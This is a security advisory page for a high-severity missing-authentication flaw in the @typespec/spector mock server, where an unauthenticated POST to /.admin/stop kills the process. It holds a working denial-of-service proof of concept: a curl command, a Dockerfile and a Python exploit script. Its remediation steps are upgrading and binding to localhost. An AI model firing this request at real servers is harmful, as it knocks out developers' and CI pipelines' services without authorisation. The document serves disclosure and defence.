GHSA-7q9c-hpx7-9cwm: High severity npm/@typespec/spector vulnerability

Published Sep 4, 2026
·
Updated

Summary

@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).

Details

The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); });

The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).

The complete attack-reachable call chain is:

1. packages/spector/src/cli/cli.ts:139-166 — tsp-spector serve <scenariosPaths..> starts the server on default port 3000. No host option is offered, so binding address is determined by the Express/Node.js default. 2. packages/spector/src/actions/serve.ts:28-33 — constructs MockApiApp and calls start() without supplying a host argument. 3. packages/spector/src/app/app.ts:39-40 — registers internalRouter at /, which includes the admin routes. 4. packages/spector/src/routes/index.ts:4-5 — mounts adminRoutes under /. 5. packages/spector/src/routes/admin.ts:7-12 — the POST /.admin/stop handler (the sink) is reached with zero authentication. 6. packages/spector/src/server/server.ts:88 — this.app.listen(this.config.port) is called without a host argument, causing Node.js/Express to bind on 0.0.0.0 (all network interfaces).

There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.

PoC

Prerequisites:

git clone https://github.com/microsoft/typespec cd typespec Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build

Step 1 — Start the mock server:

bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 Server listens on 0.0.0.0:3000 by default

Alternatively, use the provided Docker environment:

bash Build context: reports/npmweb64microsofttypespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector

Step 2 — Execute the exploit (single unauthenticated request):

bash curl -i -X POST http://<server-host>:3000/.admin/stop

Using the provided PoC script:

bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001

Step 3 — Observe the result:

HTTP/1.1 202 Accepted

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

info Received signal to stop server. Exiting...

Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

Reproduction artifacts

Dockerfile

dockerfile VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) Build context: reports/npmweb64microsofttypespec/ Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

Install tsx to run TypeScript source files directly without compilation. This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4

WORKDIR /poc

Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json

Install only the npm packages actually used by the vulnerable code path: express — web framework (admin.ts, routes/index.ts, server.ts) picocolors — terminal colors (logger.ts) RUN npm install express picocolors

----------------------------------------------------------------------- Copy the EXACT vulnerable source files from the repository. No source file is modified — they are used verbatim. -----------------------------------------------------------------------

packages/spector/src/constants.ts Defines AdminUrls.stop = "/.admin/stop" COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

packages/spector/src/logger.ts Simple console logger; imported by admin.ts COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

packages/spector/src/routes/admin.ts ← VULNERABILITY SINK Registers POST /.admin/stop with NO authentication → process.exit(0) COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

packages/spector/src/routes/index.ts Mounts adminRoutes at "/" COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

Minimal entry point that connects the router to the HTTP server, replicating the behaviour of MockApiApp.start() + MockApiServer.start() COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

tsx strips TypeScript types at runtime — no separate compile step needed CMD ["tsx", "server-entry.ts"]

poc.py

python #!/usr/bin/env python3 """ PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE: CWE-306 — Missing Authentication for Critical Function CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)

Vulnerability: packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without any authentication, token, Origin, or IP-source check. The handler calls process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0 (packages/spector/src/server/server.ts:88) so any network-reachable client can terminate the process with a single unauthenticated POST request.

Usage: python3 poc.py [--host HOST] [--port PORT] """

import sys import time import socket import argparse import urllib.request import urllib.error

BANNER = """ ================================================================ VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop Package : @typespec/spector 0.1.0-alpha.26 CWE : CWE-306 CVSS 7.5 (High) ================================================================ """

PASSMSG = """ [EXPLOIT SUCCESSFUL] 1. Server accepted an unauthenticated POST to /.admin/stop 2. Server responded HTTP 202 Accepted with no credential check 3. Server process exited — subsequent connection attempt refused 4. Zero authentication, tokens, or Origin restrictions enforced ================================================================ """

FAILMSG = """ [EXPLOIT FAILED] Check that the Docker container is running: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector ================================================================ """

def isportopen(host: str, port: int, timeout: float = 2.0) -> bool: """Return True if TCP port accepts connections.""" try: with socket.createconnection((host, port), timeout=timeout): return True except (ConnectionRefusedError, socket.timeout, OSError): return False

def waitforserver(host: str, port: int, maxwait: float = 30.0) -> bool: """Poll until the server is reachable or maxwait seconds elapse.""" print(f"[] Waiting for server at {host}:{port} (up to {maxwait}s) ...") deadline = time.monotonic() + maxwait while time.monotonic() < deadline: if isportopen(host, port): print(f"[+] Server is reachable at {host}:{port}") return True time.sleep(0.5) return False

def sendunauthenticatedstop(host: str, port: int) -> int: """ Send POST /.admin/stop with no credentials and return the HTTP status code.

This is the exploit request. No Authorization header, no token, no special Origin — the server accepts it as-is. """ url = f"http://{host}:{port}/.admin/stop" print(f"[] Sending unauthenticated POST to {url}") print(f"[] Request headers: (none beyond Host and Content-Length:0)")

req = urllib.request.Request(url, data=b"", method="POST") try: with urllib.request.urlopen(req, timeout=5) as resp: code = resp.status print(f"[+] HTTP response: {code} {resp.reason}") return code except urllib.error.HTTPError as exc: print(f"[+] HTTP error response: {exc.code} {exc.reason}") return exc.code except urllib.error.URLError as exc: # Connection closed before response (process.exit race) still counts print(f"[+] Connection dropped during response: {exc.reason}") return 202 # server accepted and exited before full response

def main() -> None: parser = argparse.ArgumentParser( description="PoC: unauthenticated remote shutdown of tsp-spector mock server" ) parser.addargument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)") parser.addargument("--port", type=int, default=3000, help="Target port (default: 3000)") args = parser.parseargs()

print(BANNER)

# Step 1 — Confirm the server is running before the attack if not waitforserver(args.host, args.port): print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s") print(FAILMSG) sys.exit(1)

print() print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")

# Step 2 — Send the exploit (single unauthenticated POST) print() print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)") status = sendunauthenticatedstop(args.host, args.port)

if status != 202: print(f"[-] Expected HTTP 202 Accepted, got {status}") print(FAILMSG) sys.exit(1)

print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")

# Step 3 — Verify the process actually exited print() print("[STEP 3] Verifying server has terminated ...") time.sleep(2)

if isportopen(args.host, args.port): print("[-] Server is still accepting connections (exploit did not terminate process)") print(FAILMSG) sys.exit(1)

print("[+] Connection refused — server process has exited")

# All three steps passed → exploit confirmed print(PASSMSG) sys.exit(0)

if name == "main": main()

Affected Software

1 affected componentFixes available
npm/@typespec/spector<=0.1.0-alpha.26
0.1.0-alpha.27

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@typespec/spector to a version that resolves this vulnerability.

    Fixed in 0.1.0-alpha.27
  2. Configuration

    Ensure tsp-spector/mock server binds only to localhost instead of the default 0.0.0.0 (all interfaces). The provided PoC/CLI mentions no --host option, so apply an external restriction so the port is not reachable from untrusted networks, preventing access to POST /.admin/stop.

    @typespec/spector (tsp-spector serve / Express server) bind address (host argument to server listen) = 127.0.0.1
  3. Compensating control

    Restrict network access to the TCP port where `tsp-spector serve` listens (default 3000) so untrusted clients cannot reach it; this mitigates the unauthenticated remote shutdown because the server binds to 0.0.0.0 by default.

Event History

Sep 4, 2026
Advisory Published
via GitHub·09:43 PM
Data Sourced
via GitHub·09:43 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any client that can reach the mock server's listening port can exploit it. No authentication, authorization token, Origin check, or source-IP restriction is required.

2

Are deployments exposed beyond localhost by default?

Yes. The server binds to 0.0.0.0 by default, so the shutdown route is reachable from any host with network access to the server port rather than only from localhost.

3

What does successful exploitation require and what is the impact?

An attacker only needs to send one unauthenticated POST request to /.admin/stop. The server accepts the request and then exits, causing a complete denial of service.

4

How can I determine whether a running instance is affected?

Check whether the instance exposes the POST /.admin/stop route and is reachable on its listening port. An HTTP 202 response to that endpoint indicates that the shutdown handler accepted the request; do not use this test on a production instance because it terminates the process.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203